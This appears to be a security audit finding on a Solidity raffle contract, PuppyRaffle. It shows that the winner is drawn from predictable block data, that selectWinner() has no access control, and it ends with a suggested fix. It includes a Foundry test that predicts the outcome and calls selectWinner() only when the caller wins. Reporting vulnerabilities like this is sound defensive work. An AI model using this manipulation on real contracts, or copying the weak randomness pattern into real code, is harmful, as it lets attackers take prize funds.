Summary
The selectWinner() function uses weak randomness to determine the winnerIndex. Additionally, it has no access control, allowing anyone to call it and attempt to manipulate the raffle.
Vulnerability Details
A malicious actor can call the selectWinner() function only if one of their entries is the winner, therefore manipulating the raffle.
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
@> address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
uint256 tokenId = totalSupply();
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}
Impact
Change the code in PuppyRaffleTest.t.sol and run forge test --mt testWeakRandomness to see that anyone can call the selectWinner() function only if they will be selected as the winner.
+ function _getRandomNumber() internal view returns (uint256) {
+ uint256 randomNumber = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % 4;
+ return randomNumber;
+ }
+ function testWeakRandomness() public playersEntered {
+ vm.prank(playerOne);
+ for (uint256 i = 0; i < 500; i++) {
+ vm.warp(block.timestamp + duration + i);
+ vm.roll(block.number + i);
+ if (_getRandomNumber() == 0) {
+ puppyRaffle.selectWinner();
+ break;
+ }
+ }
+ assertEq(playerOne, puppyRaffle.previousWinner());
+ }
Tools Used
Recommendations
Best practice is to use an oracle to determine the winnerIndex, so that it cannot be manipulated by anyone including the owner. To prevent users from manipulating the raffle, add access control to restrict access to the owner.
- function selectWinner() external {
+ function selectWinner() external onlyOwner {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
uint256 tokenId = totalSupply();
// We use a different RNG calculate from the winnerIndex to determine rarity
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}